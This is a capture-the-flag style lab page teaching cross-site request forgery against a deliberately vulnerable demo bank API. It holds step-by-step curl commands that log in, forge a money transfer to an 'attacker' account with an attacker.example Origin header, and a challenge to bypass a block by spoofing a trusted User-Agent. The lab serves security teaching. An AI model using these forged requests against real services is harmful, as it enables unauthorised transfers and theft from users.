CSRF
A bank has an endpoint that transfers money. It authenticates the user with a cookie. It does not check where the request came from. A malicious site can make the victim's browser send that request — and the money moves.
The rule: you have a session cookie for demo with a balance of 100. The transfer endpoint takes a recipient and an amount. Your job is to move the money to attacker without ever knowing the user's password — by forging a request.
Test
Copy these. Run them. Read what comes back.
Step 1 · Log in and get a session
The login endpoint issues a session cookie. Copy the value.
curl -s -i -X POST "{LAB_API_BASE}/api/16/login" \
-H "Content-Type: application/json" \
-d '{"username":"demo","password":"demo123"}'What you'll see:
HTTP/1.1 200 OK Set-Cookie: session=sess_demo_csrf_7f3a; Path=/; HttpOnly Content-Type: application/json { "ok": true, "balance": 100 }
The session cookie is sess_demo_csrf_7f3a. The server uses it to know who you are on every subsequent request.
Step 2 · Look at your balance
Any request with the cookie proves you are demo.
curl -s "{LAB_API_BASE}/api/16/me" \
-H "Cookie: session=sess_demo_csrf_7f3a"What you'll see:
{
"user": "demo",
"balance": 100
}Ordinary. You are demo, you have 100.
Step 3 · Forge a transfer
The transfer endpoint takes a JSON body. It does not require a password. It only checks the cookie. If a malicious site could make the victim's browser send this request, the victim's browser would send the cookie automatically — and the request would succeed.
curl -s -X POST "{LAB_API_BASE}/api/16/transfer" \
-H "Cookie: session=sess_demo_csrf_7f3a" \
-H "Content-Type: application/json" \
-H "Origin: https://attacker.example" \
-d '{"to":"attacker","amount":100}'What you'll see:
{
"ok": true,
"from": "demo",
"to": "attacker",
"amount": 100,
"balance_after": 0,
"note": "transfer completed. request Origin was ignored."
}The server did not care that the Origin header said attacker.example. It authenticated the request by cookie, and executed it. If the browser had sent that request automatically from a third-party site, the transfer would have happened without the victim's consent.
Challenge
Now do it yourself. No copy-paste. Everything you need is above.
The transfer endpoint has a second recipient: treasury. Transfers to it are blocked — unless the request looks like it came from the bank's own internal health checker. The server trusts a specific User-Agent string for those requests, and no other check.
The value it trusts is internal-healthcheck. Send the same transfer you sent in Step 3, but change the recipient to treasury and set User-Agent to that value. The endpoint returns the flag.
This is the same bug as in Step 3, in a different disguise: the server trusted something the client controls to decide whether the request was safe. That's the CSRF failure mode — trust transferred from the cookie to another client-supplied value.
Solved.
You forged a request the victim's browser would have sent for you. Read why it happened and how to prevent it — in Lesson 16.
Read Lesson 16 in the bookThis lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 16 — CSRF
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